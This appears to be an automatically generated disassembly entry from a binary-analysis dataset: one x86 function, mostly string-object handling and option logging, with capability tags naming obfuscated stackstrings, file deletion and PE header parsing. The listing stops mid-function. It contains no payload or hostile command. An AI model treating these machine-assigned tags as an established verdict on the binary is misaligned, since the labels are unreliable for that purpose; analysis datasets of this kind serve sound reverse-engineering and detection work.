Function at 0x4165e0
Capabilities:
Contain obfuscated stackstrings
Delete file
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x580712
mov eax, dword fs:[0]
push eax
sub esp, 0x118
mov eax, dword [0x5ebdb0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x9c]
push edx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x60], ecx
mov byte [ebp - 0x4e], 1
call fcn.00434830
push 0x5b0bc8
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0
call fcn.00401d90
mov esi, eax
push 0x5b0bc8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 1
call fcn.00401d90
mov edi, eax
push 0x5b0f34
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 2
call fcn.00401d90
mov ebx, eax
push 0x5b1988
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 3
call fcn.00401d90
push esi
push edi
push ebx
push eax
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 4
mov ecx, dword [eax]
add ecx, 0x16c
push ecx
lea edx, [ebp - 0x9c]
push edx
mov ecx, 7
call fcn.004392c0
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0xc0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4166c8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0xdc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4166ee
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416714
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416737
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0xfc]
push ecx
call fcn.00422a30
mov edi, dword [ebp - 0x4c]
mov byte [ebp - 4], 5
mov eax, dword [edi]
mov eax, dword [eax + 0x158]
sub eax, 0x10
push eax
call fcn.00405320
lea esi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0xc0], esi
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 6
call fcn.004050b0
lea eax, [esi - 0x10]
mov byte [ebp - 4], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41679d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ebx, dword [ebp - 0x60]
mov esi, dword [edi]
imul ebx, ebx, 0xea4
mov eax, dword [esi + ebx + 0x5c8cc]
mov byte [ebp - 0x4d], 0
mov dword [ebp - 0x88], ebx
test eax, eax
jle 0x416812
lea edi, [esi + ebx + 0x5c658]
mov dword [ebp - 0x60], eax
cmp byte [edi + 0x10], 1
je 0x416807
mov eax, dword [edi]
mov ecx, 0x5b1620
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4167fa
test dx, dx
je 0x4167f6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4167fa
add eax, 4
add ecx, 4
test dx, dx
jne 0x4167d4
xor eax, eax
jmp 0x4167ff
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x416807
mov byte [ebp - 0x4d], 1
add edi, 0x20
dec dword [ebp - 0x60]
jne 0x4167c7
mov edi, dword [ebp - 0x4c]
inc dword [esi + 0xb7440]
mov ecx, dword [edi]
mov esi, dword [ecx + ebx + 0x5bb00]
lea eax, [ecx + ebx + 0x5bb00]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
mov byte [ebp - 0x45], 0
call eax
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x416852
cmp eax, dword [esi - 0x10]
jne 0x416852
lea edi, [esi - 0x10]
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41688b
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x41686b
call fcn.004022c0
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x100], edi
mov byte [ebp - 4], 7
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [ebp - 0xc0], edi
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x4168c5
cmp eax, dword [edi]
jne 0x4168c5
mov esi, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x416901
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x4168de
call fcn.004022c0
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add esi, 0x10
mov dword [ebp - 0xc4], esi
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 8
mov edx, dword [ecx]
mov esi, dword [edx + ebx + 0x5bae8]
mov ecx, dword [esi - 0x10]
lea eax, [edx + ebx + 0x5bae8]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x416947
cmp eax, dword [esi - 0x10]
jne 0x416947
lea edi, [esi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x416980
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x416960
call fcn.004022c0
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0xd8], edi
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 9
mov edx, dword [ecx]
mov esi, dword [edx + ebx + 0x5bae0]
mov ecx, dword [esi - 0x10]
lea eax, [edx + ebx + 0x5bae0]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x4169c6
cmp eax, dword [esi - 0x10]
jne 0x4169c6
lea edi, [esi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x4169ff
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x4169df
call fcn.004022c0
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x84], edi
push 0x5b0bc8
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0xa
call fcn.00401d90
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 0xb
mov edx, dword [ecx]
mov esi, dword [edx + ebx + 0x5bb0c]
mov ecx, dword [esi - 0x10]
lea eax, [edx + ebx + 0x5bb0c]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x416a56
cmp eax, dword [esi - 0x10]
jne 0x416a56
lea edi, [esi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x416a8f
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x416a6f
call fcn.004022c0
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x104], edi
mov byte [ebp - 4], 0xc
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [ebp - 0xdc], edi
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x416ac9
cmp eax, dword [edi]
jne 0x416ac9
mov esi, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x416b05
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x416ae2
call fcn.004022c0
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add esi, 0x10
mov dword [ebp - 0xe0], esi
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 0xd
mov edx, dword [ecx]
mov esi, dword [edx + ebx + 0x5baf4]
mov ecx, dword [esi - 0x10]
lea eax, [edx + ebx + 0x5baf4]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x416b4b
cmp eax, dword [esi - 0x10]
jne 0x416b4b
lea edi, [esi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x416b84
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x416b64
call fcn.004022c0
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
lea esi, [edi + 0x10]
mov dword [ebp - 0xc8], esi
push 0x5b0bc8
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0xe
call fcn.00401d90
mov byte [ebp - 4], 0xf
mov eax, dword [esi - 0xc]
test eax, eax
jle 0x416d0f
push 0x2c
push esi
call fcn.0055159c
add esp, 8
test eax, eax
je 0x416d0f
sub eax, esi
sar eax, 1
mov ebx, eax
test ebx, ebx
jle 0x416d0f
push ebx
lea ecx, [ebp - 0x5c]
push ecx
lea ecx, [ebp - 0xc8]
call fcn.0041ba20
mov byte [ebp - 4], 0x10
mov ecx, dword [eax]
mov edi, dword [ebp - 0xa0]
lea eax, [ecx - 0x10]
add edi, 0xfffffff0
cmp eax, edi
je 0x416c4c
cmp dword [edi + 0xc], 0
jl 0x416c3c
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x416c3c
push eax
call fcn.00405320
mov dword [ebp - 0xb4], eax
add esp, 4
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x416c2b
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
mov ecx, dword [ebp - 0xb4]
add ecx, 0x10
mov dword [ebp - 0xa0], ecx
jmp 0x416c4c
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [ebp - 0xa0]
call fcn.004021b0
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x416c6f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esi - 0xc]
sub eax, ebx
dec eax
push eax
lea ecx, [ebp - 0xb4]
push ecx
lea ecx, [ebp - 0xc8]
call fcn.0041b9a0
mov byte [ebp - 4], 0x11
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea edi, [esi - 0x10]
cmp eax, edi
je 0x416ce9
cmp dword [edi + 0xc], 0
lea ebx, [edi + 0xc]
jl 0x416cd3
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x416cd3
push eax
call fcn.00405320
mov esi, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x416cc8
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
add esi, 0x10
mov dword [ebp - 0xc8], esi
jmp 0x416ce9
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004021b0
mov esi, dword [ebp - 0xc8]
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416d0f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
lea edi, [esi - 0x10]
mov dword [ebp - 0xb4], edi
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x416d3c
cmp eax, dword [edi]
jne 0x416d3c
mov esi, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x416d78
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x416d55
call fcn.004022c0
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add esi, 0x10
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x88]
mov byte [ebp - 4], 0x12
mov eax, dword [edi]
cmp dword [eax + ecx + 0x5c8cc], 0
mov dword [ebp - 0x60], 0
jle 0x41758e
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x88]
shl edx, 5
add ecx, edx
mov esi, dword [ecx + eax + 0x5c654]
mov dword [ebp - 0x58], ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x416de0
cmp eax, dword [esi - 0x10]
jne 0x416de0
lea edi, [esi - 0x10]
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x416e18
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x416866
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
lea ebx, [edi + 0x10]
mov dword [ebp - 0xbc], ebx
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x13
mov edx, dword [ecx]
mov eax, dword [ebp - 0x58]
mov esi, dword [edx + eax + 0x5c65c]
mov ecx, dword [esi - 0x10]
lea eax, [edx + eax + 0x5c65c]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi - 4], 0
lea edx, [esi - 4]
jl 0x416e61
cmp eax, dword [esi - 0x10]
jne 0x416e61
lea edi, [esi - 0x10]
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x416e99
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x416866
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 0x14
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [ebp - 0x78], ebx
call eax
cmp dword [ebx + 0xc], 0
lea ecx, [ebx + 0xc]
jl 0x416ecd
cmp eax, dword [ebx]
jne 0x416ecd
mov esi, ebx
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x416f0b
mov edi, dword [ebp - 0x78]
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x416866
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add esi, 0x10
mov dword [ebp - 0x5c], esi
push 0x5b0bc8
push esi
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x15
call fcn.00404aa0
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ecx]
mov ebx, dword [ebp - 0x58]
cmp byte [edx + ebx + 0x5c668], 1
jne 0x4171cf
cmp byte [ebp - 0x4d], 0
jne 0x41709e
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x4175b2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x54], eax
mov ecx, 0x5b0f34
mov byte [ebp - 4], 0x16
test ecx, 0xffff0000
jne 0x416f92
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x416fa1
push esi
push eax
lea ecx, [ebp - 0x54]
call fcn.00401f90
jmp 0x416fa1
push 1
push 0x5b0f34
lea ecx, [ebp - 0x54]
call fcn.004021b0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0xa4]
push edx
mov byte [ebp - 4], 0x17
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x5c]
push ecx
push eax
lea edx, [ebp - 0xb8]
push edx
mov byte [ebp - 4], 0x18
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x19
mov ecx, dword [eax]
mov esi, dword [ebp - 0x6c]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x41702f
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x417022
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x417022
push eax
call fcn.00405320
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x417017
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [ebp - 0x6c], ebx
mov ebx, dword [ebp - 0x58]
jmp 0x41702f
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [ebp - 0x6c]
call fcn.004021b0
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417055
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x17
mov eax, dword [ebp - 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41707b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41709e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ecx]
mov esi, dword [edx + ebx + 0x5c650]
mov ecx, dword [esi - 0x10]
lea eax, [edx + ebx + 0x5c650]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi - 4], 0
lea ecx, [esi - 4]
jl 0x4170d7
cmp eax, dword [esi - 0x10]
jne 0x4170d7
lea edi, [esi - 0x10]
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x41710f
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x416866
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x58], edi
mov byte [ebp - 4], 0x1a
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x4175b2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x54], eax
mov ecx, str.________Option_is_checked:
mov byte [ebp - 4], 0x1b
test ecx, 0xffff0000
jne 0x417168
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x417177
push esi
push eax
lea ecx, [ebp - 0x54]
call fcn.00401f90
jmp 0x417177
push 0x1b
push str.________Option_is_checked:
lea ecx, [ebp - 0x54]
call fcn.004021b0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x54]
push ecx
lea edx, [ebp - 0xac]
push edx
mov byte [ebp - 4], 0x1c
call fcn.0041bac0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 0x1d
call fcn.00434f10
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4171c3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x54]
jmp 0x417463
mov ecx, dword [ebp - 0x64]
cmp dword [ecx - 0xc], 0
jle 0x417337
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x4175b2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x54], eax
mov ecx, 0x5b0f34
mov byte [ebp - 4], 0x1e
test ecx, 0xffff0000
jne 0x41722b
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x41723a
push esi
push eax
lea ecx, [ebp - 0x54]
call fcn.00401f90
jmp 0x41723a
push 1
push 0x5b0f34
lea ecx, [ebp - 0x54]
call fcn.004021b0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x98]
push edx
mov byte [ebp - 4], 0x1f
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x64]
push ecx
push eax
lea edx, [ebp - 0xb0]
push edx
mov byte [ebp - 4], 0x20
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x21
mov ecx, dword [eax]
mov esi, dword [ebp - 0x6c]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x4172c8
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x4172bb
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x4172bb
push eax
call fcn.00405320
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x4172b0
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [ebp - 0x6c], ebx
mov ebx, dword [ebp - 0x58]
jmp 0x4172c8
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [ebp - 0x6c]
call fcn.004021b0
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4172ee
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x1f
mov eax, dword [ebp - 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417314
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417337
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ecx]
mov esi, dword [edx + ebx + 0x5c650]
mov ecx, dword [esi - 0x10]
lea eax, [edx + ebx + 0x5c650]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi - 4], 0
lea ecx, [esi - 4]
jl 0x417370
cmp eax, dword [esi - 0x10]
jne 0x417370
lea edi, [esi - 0x10]
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x4173a8
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x416866
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00550da7
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x54], edi
mov byte [ebp - 4], 0x22
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x4175b2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x58], eax
mov ecx, str.________Option_not_checked:
mov byte [ebp - 4], 0x23
test ecx, 0xffff0000
jne 0x417401
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x417410
push esi
push eax
lea ecx, [ebp - 0x58]
call fcn.00401f90
jmp 0x417410
push 0x1c
push str.________Option_not_checked:
lea ecx, [ebp - 0x58]
call fcn.004021b0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0xa8]
push edx
mov byte [ebp - 4], 0x24
call fcn.0041bac0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 0x25
call fcn.00434f10
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41745c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x22
mov eax, dword [ebp - 0x58]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41747f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [ebp - 4], 0x15
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41749f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x4c]
mov eax, dword [esi]
cmp byte [eax + ebx + 0x5c668], 1
je 0x41750a
mov eax, dword [eax + ebx + 0x5c658]
mov ecx, 0x5b1620
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4174e6
test dx, dx
je 0x4174e2
